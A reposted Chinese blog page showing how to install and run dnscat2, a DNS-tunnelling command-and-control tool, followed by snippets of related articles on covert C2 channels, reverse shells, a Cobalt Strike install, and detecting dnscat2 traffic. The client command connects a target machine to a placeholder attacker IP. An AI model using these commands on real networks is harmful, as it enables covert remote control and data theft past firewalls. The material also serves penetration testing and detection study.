DNS隧道--dnscat2

dnscat2搭建教程
最新推荐文章于 2025-10-07 10:08:26 发布
转载 最新推荐文章于 2025-10-07 10:08:26 发布 · 891 阅读 · 1 ·
CC 4.0 BY-SA版权
原文链接：http://www.cnblogs.com/mrhonest/p/11582696.html
文章标签：

#运维 #git #ruby

本文详细介绍如何在本地搭建dnscat2服务端与客户端，包括git克隆项目、依赖安装、编译及运行步骤。服务端使用Ruby语言运行，客户端提供预编译的Windows可执行文件。

安装

  • 服务端
 git clone https://github.com/iagox86/dnscat2.git
 cd dnscat2
 cd server
 sudo gem install bundler
 bundle install
  • 客户端
 git clone https://github.com/iagox86/dnscat2.git
 cd dnscat2/client/
 make

*** 服务端和客户端均有编译好的 ***

运行

直连
  • 服务端
ruby ./dnscat2.rb --dns "domain=localhost,host=127.0.0.1,port=53" --no-cache

1431916-20190925101707841-318686821.png

  • 客户端
dnscat2-v0.07-client-win32.exe --dns server=攻击者的IP --secret=攻击者服务器生成的ID

1431916-20190925101726256-447665010.png

DNS

  • 服务端

  • 客户端

转载于:https://www.cnblogs.com/mrhonest/p/11582696.html

ddr12231
关注
使用DNS进行命令控制(dnscat2)
谢公子的博客
02-21 6297
目录 dnscat2 搭建dnscat2隧道步骤 （1）：部署域名解析 （2）：安装dnscat2服务端 (3）：在目标主机上安装dnscat2客户端 （4）：测试客户端服务端是否连通 中继模式建立隧道 执行命令 dnscat2 dnscat2是一款开源软件，使用DNS协议创建加密的C&C通道，通过预共享密钥进行身份验证；使用Shell及DNS查询类型(TXT、MX...
基于dnscat2的DNS隧道研究
ailx10
05-06 839
最近准备研究一下DNS隧道，网上的案例比较多，总的来说都需要花钱，毕竟域名+vps服务器，都是真金白银，为了做这个实验，我也是花了200块钱。一般来说，dns隧道有2种：直连和迭代。直连的dns隧道，就是你自己要有一台外网dns服务器，比如基于bind9搭建一个dns服务器，这种模式容易造成C&C（DNS）服务器的地址泄漏，现在基本上没人用了。迭代模式，可以依靠任意一台dns服务，然后依靠...
『DNS隧道工具』— dnscat2
热门推荐
localhost01
01-22 1万+
一、入坑必读 1、简介 Dnscat2是一个DNS隧道工具，通过DNS协议创建加密的命令和控制通道，它的一大特色就是服务端会有一个命令行控制台，所有的指令都可以在该控制台内完成。包括：文件上传、下载、反弹Shell…… 使用热度： ★★★★☆ 2、专业词 主控机：黑客方 被控机：受害者 Type：DNS解析的类型，常见的有：A、CNAME、MX、TXT…… 3、放哪儿 主控机 被控机 ......
DNS隧道工具Dnscat2：原理、部署与实战应用
最新发布
Bruce_xiaowei的博客
10-07 1048
本文详细介绍了DNS隧道工具Dnscat2的原理、部署与应用。主要内容包括：DNS隧道技术概述、Dnscat2特点；服务端和客户端的部署步骤，涵盖环境准备、域名配置、安装依赖及连接测试；高级功能如会话管理、反弹Shell和多模式操作；安全优化配置建议；检测防御方法及常见故障排除。Dnscat2利用DNS协议建立隐蔽通信，可绕过传统防火墙，适用于渗透测试，但需在合法授权下使用。文章同时强调防御方应了解其特征以加强防护。
dnscat2搭建dns隧道
weixin_44110913的博客
03-06 2009
域名购买网站：https://dcc.godaddy.com/ 购买域名，并且注册网站，应用该模块 安装服务端： apt-get install gem apt-get install ruby-dev apt-get install libpq-dev cd dnscat2/server git clone https://github.com/iagox86/dnscat2.git 编译 bundle install 中继模式启动服务端 sudo ruby ./dnscat2.rb vpn.xxx -e
内网渗透之DNS隧道搭建
蚁景网安学院
08-26 1241
原创稿件征集 邮箱：edu@antvsion.com QQ：3200599554 黑客与极客相关，互联网安全领域里的热点话题漏洞、技术相关的调查或分析，稿件通过并发布还能收获200-800元不等的稿酬。 本文作者：D1m0n 前言 年初有幸参加了一次hvv，我主要负责内网渗透的部分，包括代理搭建，横向移动等等。那个时候，也是刚刚接触内网没两个月，赶鸭子上架的学了一下就上了战场。好在运气不错，通过weblogic的反序列化RCE拿到系统权限，后来发现了一个尴尬的问题，目标主机不出网，借助搜索引擎，大佬们都.
阿一课代表今日分享之使用dnscat2 进行dns隧道反弹shell（直连模式linux对linux）
qq_69775412的博客
07-10 1215
Dns解析过程：系统发出dns解析之前会先看看本地是否保存了相关域名的解析，系统检测到hosts文件中没有响应的域名解析的时候会发送给本地dns解析服务器进行解析，解析之前会看看缓存中是否存在，如果没有，再将解析请求发给下一个dns服务器。gem install bundler 是一个在 Ruby 环境中使用的命令，用于安装 Bundler 这个 gem（gem 是 Ruby 的包管理器）Bundler 是一个帮助管理 Ruby 项目依赖的工具，它可以确保你的项目在不同的环境中使用相同版本的 gems。
网络安全内网渗透之DNS隧道实验--dnscat2直连模式
u013930899的博客
09-26 1627
从DNS协议的角度看，这样的操作只是在一次次地查询某个特定的域名并得到解析结果，但其本质问题是，预期的返回结果应该是一个IP地址,而事实上不是--返回的可以是任意字符串，包括加密的C&C指令。如果内网放行所有的DNS请求，dnscat2会使用直连模式，通过UDP的53端口进行通信（不需要域名，速度快，而且看上去仍然像普通的DNS查询）。如果内网中的请求仅限于白名单服务器或者特定的域，dnscat2会使用中继模式来申请一个域名，并将运行dnscat2服务端的服务器指定为受信任的DNS服务器。
网络安全内网渗透之DNS隧道实验--dnscat2直连模式_内网 dnscat2隧道使用
2401_84545364的博客
05-14 512
如果内网放行所有的DNS请求，dnscat2会使用直连模式，通过UDP的53端口进行通信（不需要域名，速度快，而且看上去仍然像普通的DNS查询）。在请求日志中，所有的域名都是以“dnscat”开头的，因此防火墙可以很容易地将直连模式的通信检测出来。如果内网中的请求仅限于白名单服务器或者特定的域，dnscat2会使用中继模式来申请一个域名，并将运行dnscat2服务端的服务器指定为受信任的DNS服务器。本章实验以直连模式为测试模式。不能在线git clone的话，使用其他方式上传到目标主机。
Dnscat2实现DNS隐蔽隧道反弹Shell
huayimy的博客
12-29 924
Dnscat2实现DNS隐蔽隧道反弹Shell
有了这个网络安全面试题，面试就像开了挂！（附PDF）
lvaolan的博客
02-26 2295
还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！【完整版领取方式在文末！！​​​​内容实在太多，不一一截图了。
dns2tcp+编译好的客户端.rar
09-26
dns2tcp+编译好的客户端.rar
说说DNS在wireshark里的抓包内容（二）
玉界尺的博客
11-06 1011
DNS响应的包 首当其中的是事务ID其次我们可以看到 QR 项为1 （区别于查询的包）接下来是Opcode 为 0 （ 通常都为 0） 然后是AA表示授权回答 然后是TC = 0 表示不可UDP包不可截断RD = 1表示 期望递归RA = 1 表示 递归可用后两项不说了 然后是RCODE 是 错误码 这里是0 代表没有错误随后的4个字端构成了DNS 消息的问题 ， 回答， 授权 和额外信息 区段
centos云服务器安装cs（cobaltstrike4
2401_84253380的博客
04-26 577
wget https://repo.huaweicloud.com/java/jdk/8u201-b09/jdk-8u201-linux-x64.tar.gz #下载jdk压缩包tar -zxvf jdk-8u201-linux-x64.tar.gz #解压解压完之后生成一个jdk1.8.0_201文件mv jdk1.8.0_201 /usr/local/jdk1.8/ #把jdk1.8.0_201文件移动到usr/local/jdk1.8/目录下配置环境变量。
【工具使用】应用层DNS协议工具---dnscat2
李同學的安全圈
12-15 3311
0x01 DNS介绍 DNS是域名系统(Domain Name System)的缩写，是因特网的一项核心服务，它作为可以将域名和IP地址相互映射的一个分布式数据库，能够使人更方便的访问互联网，而不用去记住能够被机器直接读取的IP数串。 DNS的记录类型有很多，有 A，AAAA,CNAME,MX,SOA,NS 等； DNS的解析过程可以分为两种类型：迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询，而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻L
利用 DNScat2 和 ICMPsh 搭建隧道：技术原理与实践指南
m0_57836225的博客
03-01 941
DNScat2 是一款基于 DNS（Domain Name System）协议的命令与控制（C2）工具，它利用 DNS 协议的特性，在受限制的网络环境中建立隐蔽的通信通道。由于 DNS 协议通常在网络中被允许使用，因此可以绕过一些防火墙和访问控制策略。ICMPsh 是一款基于 ICMP（Internet Control Message Protocol）协议的工具，用于在网络中建立隐蔽的命令执行通道。
DNS隐蔽隧道工具--dnscat2流量特征检测分析
qq_36259703的博客
10-09 1502
dnscat2是一个DNS隧道工具，通过DNS协议创建加密的命令和控制通道，它的一大特色就是服务端会有一个命令行控制台，所有的指令都可以在该控制台内完成。包括：文件上传、下载、反弹Shell……最新版本为几年前的 v0.07版本。
内网渗透系列：内网隧道之dnscat2
闵行小鱼塘
04-09 1758
本文研究DNS隧道的一个工具，dnscat2
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值